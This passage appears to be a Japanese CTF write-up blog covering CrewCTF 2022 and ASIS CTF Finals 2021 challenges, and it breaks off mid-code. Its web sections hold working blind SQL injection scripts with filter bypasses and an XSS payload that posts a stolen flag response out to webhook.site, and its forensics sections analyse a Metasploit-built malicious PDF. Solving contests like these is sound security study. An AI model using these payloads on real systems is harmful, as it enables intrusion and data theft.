            'spiderman', 'ironman', 'captainamerica', 'nickfury'
        ]

        function fetchMarvelVotesCount (marvel) {
            fetch(`/api.php?character=${marvel}`)
                .then(response => response.json())
                .then(results => {
                    const vote_count_html = document.querySelector(`#vote-count-${marvel}`)
                    const total_vote = results.data.vote_count

                    if (total_vote > 1) {
                        vote_count_html.innerHTML = `${total_vote} Votes`
                    } else {
                        vote_count_html.innerHTML = `${total_vote} Vote`
                    }
                })
        }

        function vote (marvel) {
            const formData = new FormData()
            formData.append('character', marvel)

            fetch('/api.php', {
                method: 'POST',
                body: formData
            })
                .then(response => response.json())
                .then(result => {
                    if (result.success) {
                        fetchMarvelVotesCount(marvel)
                        alert('successful voting')
                    } else {
                        alert(result.error)
                    }
                })
                .catch(error => {
                    alert('error');
                });

        }

        marvel.forEach(item => {
            fetchMarvelVotesCount(item)
        })

/api.php?character=%27 にアクセスしてみると以下のようなエラーが出た。SQLiだ。

Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1 unrecognized token: "'''" in /var/www/api.php:75 Stack trace: #0 /var/www/api.php(75): PDO->query('SELECT * FROM c...') #1 {main} thrown in /var/www/api.php on line 75

色々試すと以下のような結果になった。左側は character に突っ込んだ文字列、右側は OK ならエラーが起こらなかった、NG ならエラーが発生したという意味。

'or' : OK
'or(1)or' : NG
'||1||' : OK
'||(1)||' : OK
'hoge' : NG
'||(sqlite_version())||' : OK

AselectB をキャラクター名とすると {"success":true,"data":{"name":"AB","vote_count":0}} というようなレスポンスが返ってきた。AnekoB はそのままなので、select のようなSQLiに使えそうなキーワードが消されているっぽい。ほかには where, substr, case が削除されることが確認できた。ついでにいえば - も使えない。

sselectelect をキャラクター名とすると {"success":true,"data":{"name":"select","vote_count":0}} というレスポンスが返ってくる。こんな感じでバイパスができる。

'union selselectect'a',vote_count が1に、'union selselectect'a','' union sselectelect '',' で2に増えた。vote_count はレコード数になっているっぽい。これをoracleとしてBlind SQLiができそう。できた:

import requests

URL = 'http://…/api.php'

def query(q):
    payload = f"' union select 'a','' where ({q}) union select '','"
    payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect')
    r = requests.get(URL, params={
        'character': payload
    })
    return r.json()['data']['vote_count'] == 2

print(query('1 > 2')) # False
print(query('2 > 1')) # True

あとはやるだけ。sqlite_master から sql を抜き出すexploitを書く。

import requests

URL = 'http://…/api.php'

def query(q):
    payload = f"' union select 'a','' where ({q}) union select '','"
    payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr')
    r = requests.get(URL, params={
        'character': payload
    })
    return r.json()['data']['vote_count'] == 2

i = 1
res = ''
while True:
    c = 0

    for j in range(7):
        if query(f'unicode(substr((select group_concat(sql) from sqlite_master), {i}, 1)) & {1 << j}'):
            c |= 1 << j
    
    res += chr(c)
    print(i, res)
    i += 1

動かすとテーブルのデータが抜けた。flags というテーブルがあるっぽい。

$ python3 exp.py
…
152 CREATE TABLE characters (
        id integer PRIMARY KEY,
        name text NOT NULL
),CREATE TABLE flags (
        id integer PRIMARY KEY,
        value text NOT NULL
)
…

select value from flags でフラグが得られた。

crew{so_its_n0t_on3_line_for_exp}

[Web 738] Marvel Pick Again (24 solves)

Marvel Pickのリベンジ。今度はキャラクター名が76文字以上であれば弾かれるようになった。コードゴルフの時間だ。

  1. '|abs(case when ({q}) then ~9223372036854775807 else 0 end)|': SQLiteでは abs-9223372036854775808 を与えるとエラーが発生する性質を利用して、Error-Basedにやる
  2. '|abs(({q})+~9223372036854775807)|': {q}0 以外ならエラーが発生することさえ変わっていなければよい。CASE式を使わないようにする
  3. '|abs(({q})+(2<<62))|': -9223372036854775808 をなんとかできないかとDiscordに投げたら、ふるつきさんから 2**63 をゴニョゴニョできないかというアドバイスが返ってきた。左シフトでいけた

あとは雑にブルートフォースをやるだけ。

import requests

URL = 'http://…/api.php'

def query(q):
    payload = f"'|abs(({q})+(2<<62))|'"
    payload = payload.replace('where', 'wwherehere').replace('select', 'sselectelect').replace('substr', 'ssubstrubstr').replace('case', 'ccasease')
    r = requests.get(URL, params={
        'character': payload
    })
    #print('len:', len(payload))
    return '1 integer overflow' in r.text

i = 1
res = ''
while True:
    for c in range(0x20, 0x7f):
        #if query(f"substr('abc',{i},1)>char({c})"):
        if query(f"substr((select value from flags),{i},1)>'{chr(c)}'"):
            res += chr(c)
            break
    print(i, res)
    i += 1
crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}

[Misc 767] Paint (22 solves)

I made a drawing program for my PS4 Pro and I drew a really pretty picture, but then it crashed! Thankfully I managed to capture some traffic via my computer, could you recover the drawing for me?

というような問題文にpcapがついてきている。pcapのパケットは全部USBのもので、要はUSB接続のDUALSHOCK 4でお絵かきした様子をキャプチャしたので、どんな絵が描かれたか復元してみろという感じ。パケットの構造はググったら出た

まずpcapを扱いやすい形にする。tshark -r paint.pcap -Y 'usb.capdata' -T json -e frame.time -e usb.capdata > log.json で以下のようなJSONに変換する。

[
  {
    "_index": "packets-2022-04-12",
    "_type": "doc",
    "_score": null,
    "_source": {
      "layers": {
        "frame.time": [
          "Apr 12, 2022 02:14:44.497255000 JST"
        ],
        "usb.capdata": [
          "017c7c7b7b0800000000000000000000000000000000000000000000000007000000008000000080000000008000000080000000008000000080000000008000"
        ]
      }
    }
  },
…
]

以前Switchのプロコンで似たようなことをしたときのコードを改造する。

import binascii
import collections
import json
import struct
import time
import pygame

Frame = collections.namedtuple('Frame', 'report_id left_x left_y right_x right_y button1 button2 counter l2 r2 timestamp battery_level gyro_x gyro_y gyro_z accel_x accel_y accel_z unknown1 unknown2 unknown3 unknown4 unknown5')

def parse(s):
    b = binascii.unhexlify(s)
    f = Frame._make(struct.unpack('bBBBBbbbbbhbhhhhhhiQQQQ', b))
    return f

with open('log.json', 'r') as f:
    log = json.load(f)

parsed_frames = [
    parse(frame['_source']['layers']['usb.capdata'][0]) for frame in log
]

pygame.init()
screen = pygame.display.set_mode((630, 80))
font = pygame.font.SysFont(None, 24)

i = 0
l = len(parsed_frames)
running = False

left_x = 10
left_y = 50
sensitivity = .2
while True:
    # render!
    if running:
        frame = parsed_frames[i]

        left_move_x = (frame.left_x - 127) / 127 * sensitivity
        left_x += left_move_x
        left_move_y = (frame.left_y - 127) / 127 * sensitivity
        left_y += left_move_y
        print(left_x, left_y, left_move_x, left_move_y)

        if frame.button1 & 0x20: # X button
            color = (192, 192, 255)
        else:
            color = (32, 32, 32)

        pygame.draw.circle(screen, color, (int(left_x), int(left_y)), 1)

        pygame.display.update()

    # moromoro!
    for event in pygame.event.get():
        if event.type == pygame.KEYDOWN:
            if event.key == pygame.K_SPACE:
                running = not running
        elif event.type == pygame.QUIT:
            pygame.quit()
            break

    if running:
        i += 1
        time.sleep(.001)

    if i >= l:
        running = False

実行するとこんな感じ:

youtu.be

画像版:

crew{51ck_dr4w1n9_br0}

./VespiaryのArkさんの解法が大変シンプルでびっくりした。Gallimaufry という便利ライブラリがあるらしい。

[Misc 821] Air(wave)-gap (18 solves)

次のようなコードが与えられている。

import RPi.GPIO as GPIO
from time import sleep
from os import system
from sys import argv

startup_time = 60
bit_length = 10
led_pin = 13
pwm_freq = 8000

get_bin = lambda x, n: format(x, 'b').zfill(n)
with open('flag.txt', 'r') as f:
    flag = bytearray(f.read().strip().encode())

bits = ''
for byte in flag:
    bits += get_bin(byte, 8)

# Setup GPIO pins
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
GPIO.setup(led_pin,GPIO.OUT)
pi_pwm = GPIO.PWM(led_pin, pwm_freq)
pi_pwm.start(0)

system('echo none | sudo tee /sys/class/leds/led0/trigger >/dev/null') # Take control of led0

# Starting the fan idling to not draw any suspicion
pi_pwm.ChangeDutyCycle(100)

print(f'[*] Waiting {startup_time}s before transmitting...')
sleep(startup_time)

print(f'[*] Now transmitting data...')
system('echo 1 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Enable led0 when transmitting

for i, bit in enumerate(bits, 1):
    # Fancy logging no one will ever see :(
    print('[{}] Transmitting bit {}/{}'.format("/-\|"[i%4], i, len(bits)), end='\r')
    power = 20 if bit == '0' else 100
    pi_pwm.ChangeDutyCycle(power)
    sleep(bit_length)

print('[+] Done transmitting data!')
system('echo 0 | sudo tee /sys/class/leds/led0/brightness >/dev/null') # Disable led0 when done

RasPiを使ってLEDで情報を送ろうとしている。しらんけど。フラグを送信している様子を撮影した動画も与えられているが、LEDの光り方がまるで変わってないように見える。

ただ、音声に注目すると、ファンがうるさくなったり静かになったりを繰り返していることがわかる。 Audacityを使って、うるさいときを1、静かなときを0として、10秒区切りで1ビットずつ送信していると見てデータの復元をしてみる。すると、最初の16ビットについて 01000011 01110010、つまり cr と送信されていることが確認できた。

動画は1時間以上もあるので、すべて手作業でやるのは無理がある。自動化できないか「Python 音量」でググるいい感じの記事がヒットした。これを参考にスクリプトを書く。

# coding: utf-8
# (ref. https://heartstat.net/2021/05/15/python_calc-volume/)

import wave
import numpy as np
import librosa

if __name__ == "__main__":
    hop_length = 1000

    wave_file = wave.open('a.wav', 'rb')
    sr = wave_file.getframerate()

    wave, sr = librosa.load('a.wav', sr=sr, mono=True)
    rms = librosa.feature.rms(y=wave, hop_length=hop_length)

    samples_per_second = int(sr / hop_length)

    l = len(rms[0])
    r = []
    for i in range(0, l, sample_per_second * 10):
        x = np.average(rms[0][i:i + samples_per_second * 10])
        r.append(x)

    print(r)

ffmpeg -i CCTV.mp4 a.wav で動画をwavに変換し、Audacityなどで送信が始まる1分18秒以降だけを切り取る。そんでもってさっきのスクリプトを実行する。

その出力をもとに、しきい値を手作業で探すHTMLを作る。

<body>
<style>
input[type=range] {
  width: 100%;
}
</style>
<pre id="out">0.5</pre>
<input type="range" id="threshold" min="0" max="0.05" step="0.0001">
<script>
const r = [0.03109114, 0.051917966, 0.05427564, 0.029296855, 0.030157499, 0.030233292, 0.05508561, 0.054486, 0.034192815, 0.052840784, 0.06011493, 0.060120318, 0.033423543, 0.03062686, 0.05439334, 0.02869172, 0.033377744, 0.051349096, 0.056085087, 0.032007955, 0.029963171, 0.05745692, 0.029698832, 0.04548151, 0.03198812, 0.048319746, 0.04500549, 0.04316423, 0.029354772, 0.04617504, 0.052881144, 0.047145464, 0.029194003, 0.04698511, 0.043547634, 0.046218704, 0.046382885, 0.030563615, 0.05041298, 0.05214699, 0.03326046, 0.04734409, 0.04569537, 0.0461114, 0.051981386, 0.031742383, 0.030895818, 0.05785249, 0.032775268, 0.031857777, 0.056210425, 0.046177153, 0.030586628, 0.029812979, 0.032853205, 0.03330558, 0.030313151, 0.053671457, 0.053401217, 0.054217044, 0.037971184, 0.048968274, 0.026410075, 0.042924874, 0.03435536, 0.05499195, 0.033400062, 0.05693797, 0.04946198, 0.048835445, 0.04690206, 0.04800403, 0.03231143, 0.05821715, 0.031108567, 0.02915096, 0.030611793, 0.052722976, 0.0294277, 0.030398974, 0.02851251, 0.02974574, 0.051157534, 0.05049246, 0.03024685, 0.029794741, 0.030769305, 0.042797588, 0.030681584, 0.045991085, 0.050098434, 0.035819832, 0.03289533, 0.05085029, 0.037870597, 0.031284206, 0.030228226, 0.05148368, 0.0323253, 0.03231474, 0.05140263, 0.046026748, 0.05405606, 0.032143224, 0.030277975, 0.030520046, 0.047758445, 0.052016005, 0.030754907, 0.049182843, 0.04910155, 0.04821784, 0.031271912, 0.04837303, 0.03270534, 0.044158265, 0.053219255, 0.05885423, 0.053810194, 0.05929017, 0.03354276, 0.052582774, 0.032458656, 0.029847316, 0.032280806, 0.046467368, 0.030648129, 0.031922445, 0.0398943, 0.031480543, 0.050360695, 0.057928246, 0.032836363, 0.027877888, 0.028344354, 0.029052997, 0.029131373, 0.047402494, 0.035221778, 0.04165406, 0.04909277, 0.048176162, 0.04824836, 0.050107796, 0.03028872, 0.030269913, 0.047774274, 0.050438747, 0.035256602, 0.063244596, 0.055620417, 0.05964478, 0.039838832, 0.046088807, 0.03176373, 0.027969003, 0.045254175, 0.03241503, 0.03176827, 0.03205968, 0.031216962, 0.030733835, 0.051610686, 0.053065315, 0.033610955, 0.044081233, 0.030633263, 0.027836548, 0.028877558, 0.03004429, 0.049962126, 0.055439457, 0.035204843, 0.052955184, 0.049989853, 0.051381603, 0.03242231, 0.045439593, 0.032090474, 0.04837672, 0.04664822, 0.051533993, 0.05217813, 0.04952046, 0.032888867, 0.05138201, 0.05560084, 0.031248441, 0.046841133, 0.047658343, 0.030512452, 0.050112955, 0.035784308, 0.029804746, 0.05153021, 0.052125502, 0.03740118, 0.051789865, 0.033992056, 0.030227834, 0.02991722, 0.04817538, 0.049158726, 0.03548467, 0.047920663, 0.04400246, 0.055371627, 0.034000453, 0.030795276, 0.042289153, 0.052264724, 0.05421257, 0.034332253, 0.052279808, 0.03168502, 0.046024483, 0.033230867, 0.031739775, 0.04714988, 0.049973942, 0.036351725, 0.047548316, 0.036481973, 0.03043402, 0.033051245, 0.027813077, 0.04607419, 0.046707373, 0.038584933, 0.029637797, 0.026961306, 0.049338162, 0.032543562, 0.028120836, 0.04809667, 0.054391988, 0.032196876, 0.02768145, 0.028926453, 0.04980447, 0.033621475, 0.05163493, 0.035280958, 0.050804432, 0.052894376, 0.033309888, 0.02567325, 0.05635422, 0.033173714, 0.051140033, 0.035497386, 0.04880439, 0.05151053, 0.056308065, 0.05138659, 0.05059445, 0.030500608, 0.050188486, 0.054534707, 0.050064262, 0.031873528, 0.032092772, 0.047697727, 0.03510121, 0.03128316, 0.031608887, 0.049018446, 0.04082197, 0.039561383, 0.032087367, 0.029052556, 0.0502304, 0.032574784, 0.028563011, 0.04863945, 0.047270942, 0.056177434, 0.037684273, 0.033231426, 0.050361935, 0.03445702, 0.04478277, 0.03220858, 0.032497916, 0.049155038, 0.037317444, 0.03155347, 0.033836987, 0.034131687, 0.029117038, 0.04922111, 0.050145317, 0.031666223, 0.046917796, 0.057505216, 0.05332817, 0.032210108, 0.03129516, 0.049740918, 0.048465166, 0.05278027, 0.06065658, 0.05249446, 0.05311162, 0.036331717, 0.044876166, 0.034747474, 0.054406922, 0.04974051, 0.05750928, 0.04973552, 0.050145615, 0.03567187, 0.030130923, 0.048915606, 0.047463443, 0.031890206, 0.046976764, 0.04983057, 0.059587657, 0.0340419, 0.04442417, 0.036353722, 0.026804993, 0.043534305, 0.031356018, 0.030027095, 0.02983918, 0.030410219, 0.0292907, 0.04407861, 0.057921376, 0.039071478, 0.050725568, 0.03176458, 0.029489286, 0.02723292, 0.029296521, 0.03675685, 0.047404565, 0.030471634, 0.035037074, 0.035309862, 0.033822104, 0.02942725, 0.036841642, 0.0340341, 0.04923991, 0.055422425, 0.04978769, 0.05032366, 0.052880984, 0.038565274, 0.050258335, 0.03437104, 0.0453561, 0.03797955, 0.04787532, 0.04892038, 0.03940308, 0.032181866, 0.026687585, 0.03408535, 0.037301436, 0.030613845, 0.026691275, 0.028804766, 0.029267307, 0.026775122, 0.035257705, 0.031653427, 0.046582658, 0.035511438, 0.04330709, 0.037255373, 0.046610348, 0.039154988, 0.030850964, 0.04677705, 0.050687987, 0.03376512, 0.03093425, 0.033439685, 0.03350984, 0.02975067, 0.04038527, 0.03543177, 0.029384792, 0.027229555, 0.037502173, 0.03446604, 0.028954217, 0.027945817, 0.037588246, 0.033176813, 0.036248017, 0.03778294, 0.040035255, 0.040894035, 0.0493297, 0.03812627, 0.048053876, 0.052058432, 0.057569362, 0.03663437, 0.03180587, 0.045413993, 0.051277034, 0.035509314, 0.0463631, 0.05490951, 0.04706955, 0.03870221, 0.045918774, 0.034223415, 0.04454861, 0.035130396, 0.04357964, 0.033637453, 0.028411483, 0.027940921, 0.02995873, 0.037817407, 0.0389371, 0.03003042, 0.036119837, 0.037297692, 0.029403526, 0.035465997, 0.03215643, 0.041249387, 0.04320407, 0.031146342, 0.041716397, 0.04195443, 0.050066955, 0.051361695, 0.04842278, 0.032965027, 0.043740153, 0.029150426, 0.019015612, 0.01932527, 0.020082066];
const o = document.getElementById('out');
const v = document.getElementById('threshold');
v.oninput = () => {
  const t = parseFloat(v.value);
  const s = r.map(e => (e > t ? '1' : '0')).join('');
  const d = String.fromCharCode(...s.match(/.{8}/g).map(e => parseInt(e, 2)));
  o.innerText = `${v.value.padEnd(6)} ${d}`;
};
</script>
</body>

スライダーをいじっていると、0.04をしきい値として設定した場合に8割程度フラグが得られた。

残りはVLC Playerを使って、4倍速で聞きつつ手作業で頑張るとフラグが得られた。古のSECCONみを感じる問題だった。

crew{y0u_D1dN7_D0_7H47_m4nu411Y_r19H7?_7H47_W0U1D_suCk}

[Forensics 100] Corrupted (191 solves)

Corrupted.001 というファイルが与えられる。バイナリエディタで眺めていたら 0x58a000 以降になんかPNGがあった。

$ python3
…
>>> a = open('Corrupted.001','rb').read()
>>> open('a.png','wb').write(a[0x58a000:])
46624768
crew{34sY_C0rrupt3D_GPT}

[Forensics 142] Policy Violation Pt.1 (81 solves)

One of our employees violate the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?

Q1. What is the CVE Number and Date of exploit? Example: crew{CVE-XXXX-XXXX_Date:MM.D.YY}

Author: 0xSh3rl0ck#7219

という問題文とともに Image.E01 というファイルが与えられる。FTK Imagerで開いてファイルを眺めていると、[root]\$RECYCLE.BIN\S-1-5-21-321011808-3761883066-353627080-1000\ 下にふたつほどPDFがあった。バイナリエディタで見ると RD5UESN.pdf がめちゃくちゃ怪しい。

適当にストリームを展開してみると、以下のような文字列が出てきた。

$ python3 
Python 3.8.10 (default, Nov 26 2021, 20:14:08)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import zlib
>>> s = open('$RD5UESN.pdf', 'rb').read()
>>> zlib.decompress(s[0x1fc:])
b'0a 20  20 20  20 76  61   72 20  61  79  64 41  …'

これをさらにデコードすると怪しいJSコードが出てくる。util.printf("%45000.45000f", 0); で終わっているが、これはどうやらCVE-2008-2992っぽい。

フラグフォーマットは crew{CVE-XXXX-XXXX_Date:MM.D.YY} とのことだが、日にちの方がわからない。"Date of exploit" とは。色々試していると、NVD Published Dateの2008年11月4日が正解だった。

crew{CVE-2008-2992_Date:11.4.08}

[Forensics 648] Policy Violation Pt.2 (30 solves)

One of our employees violated the company policy by running a malicious document on the company machine after we noticed that he deleted the files can you bring it back to make some analysis?

Q2. What is the sha1sum of the attacker IP ?

Example: crew{SHA-1(IP)} crew{ea424d38af72dd1366a08aad1f47eca3e7ec3d24}

という問題文で、添付ファイルはPt.1と同じ。さっきのexploitを解析する必要があるらしい。先程見つけたMetasploitのモジュールのコードとPDFに仕込まれているJSコードを比較すると、MetasploitによってPDFが生成されたことがわかる。

テンプレートの1行目の var #{rand1} = unescape("#{shellcode}"); から、unescape の引数がシェルコードであるとわかる。デコードに手間取っていたところ、ptr-yudaiさんがいい感じにやってくれた。

どうせペイロードの生成には windows/meterpreter/reverse_tcp を使っているのだろうと、Ghidraを使いつつデコードされたペイロードと、そのモジュールのコードとを比較してみたところ、どうやら本当にそうっぽかった。

IPアドレスpush している箇所を特定して終わり。IPアドレス192.168.1.30 だ。

crew{265180387f1642217973f8cfda2ca6cc92d48e60}

[Forensics 353] Screenshot Pt.1 (51 solves)

We have arrested a criminal and we think that he takes so many screenshots can you help me to find the secret?

Q1. What is the Name of the secret file (without extension)?

example flag: crew{{12345678-90AB-CDEF-GHIJ-KLMNOPQRSTUV}}

Author: 0xSh3rl0ck#7219

という問題文とともに、ScreenShot.ad1 というファイルが与えられる。FTK Imagerでこれを開いて、ファイルの一覧をCSV形式で出力する。フラグ形式を見る限りファイル名は [0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} というような形式に拡張子を加えたもののはず。

{19422F1B-6C19-4190-9674-0D1C5AEC5451}.png    E:\ScreenShot\ScreenShot [AD1]\Users\0xSh3rl0ck\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\TempState\{19422F1B-6C19-4190-9674-0D1C5AEC5451}.png    1400277    2022-Apr-03 19:11:38.374945    2022-Apr-02 01:10:01.816000    2022-Apr-03 19:11:38.374945    no    4302a193d34c126865bc501589b58f13    3d714cdbe607e431399c10e5a23291c3394d01f7
crew{{19422F1B-6C19-4190-9674-0D1C5AEC5451}}

[Forensics 498] Screenshot Pt.2 (40 solves)

We have arrested a criminal and we think that he takes so many screenshots can you help me to find the secret?

Q2. What is the MD5 hash of the associated LNK File ?

example flag: crew{5f4dcc3b5aa765d61d8327deb882cf99}

Same file as in Pt. 1

Author: 0xSh3rl0ck#7219

Pt.1で出力したファイルの一覧で lnkgrepする。Pt.1で見つけたファイルに関連するアプリである ScreenSketch を呼び出しそうなやつがそれ。

ms-screensketcheditisTemporary=true&source=screenclip&sharedAccessToken=7776FC76-E7CE-4D04-855F-D9CF8A821270&secondarySharedAccessToken=06E0D4CA-235D-4ACB-910B-006280BEA450&viewId=-525411.lnk    E:\ScreenShot\ScreenShot [AD1]\Users\0xSh3rl0ck\AppData\Roaming\Microsoft\Windows\Recent\ms-screensketcheditisTemporary=true&source=screenclip&sharedAccessToken=7776FC76-E7CE-4D04-855F-D9CF8A821270&secondarySharedAccessToken=06E0D4CA-235D-4ACB-910B-006280BEA450&viewId=-525411.lnk    494    2022-Apr-03 19:11:42.969115    2022-Apr-02 01:10:02.046000    2022-Apr-03 19:11:42.969115    no    fd483445cf5e5b0e2b061f4b1defa841    795746b73b0548ca05f764707cf94d002fe56fa9
crew{fd483445cf5e5b0e2b061f4b1defa841}

[Forensics 513] Screenshot Pt.3 (39 solves)

Pt.1で見つけた画像に書かれている文字列をBase64デコードしたらいけた。

crew{Tr4ck1ng_scr33nsh0ts_w1th_LNK_f1l3s}

[Forensics 767] Em31l Pt.1 (22 solves)

Can you help me to examine this mail? Q1: I think that the suspect deleted something from it can you tell me what is it? Flag Format: crew{the deleted thing with :}

という問題文とともに HelpMe!.eml というファイルが与えられる。GmailからYahoo.comのメールアドレスに送られたメールだ。

とりあえず自分でもGmailからYahoo.comのメールアドレスに適当にメールを送ってみる。ヘッダを HelpMe!.eml と比較してみたところ、HelpMe!.eml には X-Gm-Message-State がなかった。

crew{X-Gm-Message-State:}

[Forensics 906] Em31l Pt.2 (11 solves)

Q2: After you Examined the first part can you tell me what is the word that he replaced it with "lost"?

Flag Format: crew{word}

Same file as in Em31l (1)

Author: 0xSh3rl0ck#7219

という問題文が与えられている。さっきの eml ファイルに含まれるメールの本文は次のような感じだった。この lost になにか別の単語が入るということだと思う。

Hey, crushed kiwi I hate this loop of college, and I need your help. Can
you meet me at lost immediately?

送信元/送信先のメールアドレスからなんらかの情報が得られないか試してみたり、ヘッダになにか情報が残っていないか探してみたものの収穫はなし。

あまりの情報のなさにブルートフォースしたくなるも、

そこからアイデアが浮かんだ。このメールには DKIM-Signature というヘッダが含まれているので、それを使えないか。

DKIMには bh というタグに本文のハッシュ値含まれているらしい。あとはブルートフォースでなんとかする。

import base64
import hashlib
import re

s = open('HelpMe!.eml', 'rb').read()
bh = base64.b64decode('5AqaoLYxMopB/cECaLwYX3ZR0XSAPW38Fwpy5WHeO2M=')

with open('/usr/share/dict/rockyou.txt', 'rb') as f:
  words = f.readlines()

for word in words:
  word = word.strip()

  body = s[s.index(b'--'):]
  body = body.replace(b'lost', word)
  body = body.strip() + b'\r\n'

  try:
    hash = hashlib.sha256(body).digest()
  except:
    continue

  if hash == bh:
    print(word)

これで lost に当てはまるのは abay という単語だとわかった。

$ python3 solve.py
b'abay'
crew{abay}

ASIS CTF Finals 2021 writeup

12/25に開催された。zer0ptsで参加して2位。


[Web 314] Webcome! (24 solves)

reCAPTCHAのチェックボックスにチェックを入れてSubmitを押すとフラグをもらえる便利なWebアプリケーション。ただし、"secret cookie" を持っていないとダメ。

f:id:st98:20211226045634p:plain

/report からはadminにバグの報告ができ、URLを送信するとGoogle Chromeでアクセスしてくれる。以下のコードを見るとわかるように、このadminは先程言っていた "secret cookie" を持っている。このWebアプリケーション上でなんとかしてadminに先程のフォームの送信をさせ、そのレスポンスを手に入れなければならない。

app.post("/report",async (req,res)=>{
    res.setHeader("Content-Type","text/plain")
    if(typeof req.body.url != "string" || !/^https?:\/\//.test(req.body.url)) return res.send("Bad url!")

    if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+30 > now()){
        return res.send(`Please comeback ${reportIpsList.get(req.ip)+30-now()}s later!`)
    }
    reportIpsList.set(req.ip,now())

    const browser = await puppeteer.launch({ pipe: true,executablePath: '/usr/bin/google-chrome' })
    const page = await browser.newPage()
    await page.setCookie({
        name: 'secret_token',
        value: secretToken,
        domain: challDomain,
        httpOnly: true,
        secret: false,
        sameSite: 'Lax'
    })

    res.send("Bot is visiting your URL")
    try{
        await page.goto(req.body.url,{
            timeout: 2000
        })
        await new Promise(resolve => setTimeout(resolve, 5e3));
    } catch(e){}
    await page.close()
    await browser.close()
})

XSS

/ では以下のような処理がされている。script タグ内の $MSG$msg というGETパラメータの値に置き換えて返しており、'/script の前にバックスラッシュを付け加えることでXSSを防ごうとしている。が、単体のバックスラッシュはエスケープされていないため、例えば \' のような文字列は \\' に置換されてしまい、せっかくのエスケープが無駄になってしまう。

app.get('/',(req,res)=>{
    var msg = req.query.msg
    if(!msg) msg = `Yo you want the flag? solve the captcha and click submit.\\nbtw you can't have the flag if you don't have the secret cookie!`
    msg = msg.toString().toLowerCase().replace(/\'/g,'\\\'').replace('/script','\\/script')
    res.send(indexHtml.replace('$MSG$',msg))
})
<script>
           msg.innerText = '$MSG$';
       </script>

これを使って、/?msg=\';alert(123);// にアクセスすると以下のようなHTMLが出力されてXSSに持ち込むことができた。

       <script>
           msg.innerText = '\\';alert(123);//';
       </script>

reCAPTCHAのバイパス

あとはadminに /flag へPOSTさせるだけかと思いきや、前述のように /flag はreCAPTCHAで保護されているために、なんとかしてバイパスさせなければならない。当然ながらadminは「私はロボットではありません」をクリックしてくれないし。

ではどうするかというと、事前に自分の手で「私はロボットではありません」をクリックし、取得したトークンをadminに使わせればよい。まずトークンを記録する log.php というPHPスクリプトを書いて自分のWebサーバに置いておく。これで、「私はロボットではありません」をクリックした状態で navigator.sendBeacon('http://example.com/log.php', grecaptcha.getResponse()) のようなコードをDevToolsで実行するとトークンが token.txt に保存される。

<?php
$body = file_get_contents('php://input');
file_put_contents('token.txt', $body);

問題のWebアプリケーション上からトークンを取得できるように、以下のような token.php も用意して設置しておく。

<?php
header('Access-Control-Allow-Origin: *');
echo trim(file_get_contents('token.txt'));

これで準備が整ったので、例のXSSを使って以下のコードをadminに実行させればフラグが得られるはず。

(async () => {
  const token = await (await fetch('http://example.com/token.php')).text();
  const body = `g-recaptcha-response=${token}`;
  const resp = await (await fetch('/flag', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body
  })).text();
  navigator.sendBeacon('https://webhook.site/…', resp);
})();

/ には msg に含まれる大文字を toLowerCase によって小文字に変換するという地味な嫌がらせが仕込まれているので、大文字を \x41 のようにエスケープすることで回避する。その変換をやってくれるスクリプトを書いておく。

import base64
import re

s = b'''(async () => {
  const token = await (await fetch('http://example.com/token.php')).text();
  const body = `g-recaptcha-response=${token}`;
  const resp = await (await fetch('/flag', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body
  })).text();
  navigator.sendBeacon('https://webhook.site/…', resp);
})();'''
s = base64.b64encode(s).decode()
s = re.sub(r'[A-Z+=]', lambda m: '\\x{:02x}'.format(ord(m.group(0))), s)
print('http://65.21.255.24:5000/?msg=\\\';eval(atob("{}"))//'.format(s))

reCAPTCHAのトークンを更新した上で、このスクリプトを実行して出力されたURLを報告するとadminがフラグを投げてくれた。

ASIS{welcomeeeeee-to-asisctf-and-merry-christmas}

[Web 406] cuuurl (17 solves)

URLを与えると curl でアクセスし、IPアドレスごとに用意されたディレクトリにそのレスポンスを保存して表示してくれる便利なサービス。env というGETパラメータから curl に与える環境変数を操作できたり、file というGETパラメータからレスポンスの保存先のファイル名を変更できたり、便利な機能が搭載されている。

#!/usr/bin/env python3
from flask import Flask,Response,request,redirect
import secrets
import re
import subprocess
import pty
import os
import hashlib

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 0x100

@app.route('/')
def index(): #Poor coding skills :( can't even get process output properly
    url = request.args.get('url') or "http://localhost:8000/sayhi"
    env = request.args.get('env') or None
    outputFilename = request.args.get('file') or "myregrets.txt"
    outputFolder = f"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}"
    result = ""

    if(env):
        env = env.split("=")
        env = {env[0]:env[1]}
    else:
        env = {}

    master, slave = pty.openpty()
    os.set_blocking(master,False)
    try:
        subprocess.run(["/usr/bin/curl","--url",url],stdin=slave,stdout=slave,env=env,timeout=3,)
        result = os.read(master,0x4000)
    except:
        os.close(slave)
        os.close(master)
        return '??',200,{'content-type':'text/plain;charset=utf-8'}

    os.close(slave)
    os.close(master)

    if(not os.path.exists(outputFolder)):
        os.mkdir(outputFolder)

    if("/" in outputFilename):
        outputFilename = secrets.token_urlsafe(0x10)

    with open(f"{outputFolder}/{outputFilename}","wb") as f:
        f.write(result)

    return redirect(f"/view?file={outputFilename}", code=302)

@app.route('/view')
def view():
    outputFolder = f"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}"
    outputFilename = request.args.get('file')

    if(not outputFilename or "/" in outputFilename or not os.path.exists(f'{outputFolder}/{outputFilename}')):
        return '???',404,{'content-type':'text/plain;charset=utf-8'}

    with open(f'{outputFolder}/{outputFilename}','rb') as f: 
        return f.read(),200,{'content-type':'text/plain;charset=utf-8'}


@app.route('/sayhi')
def sayhi():
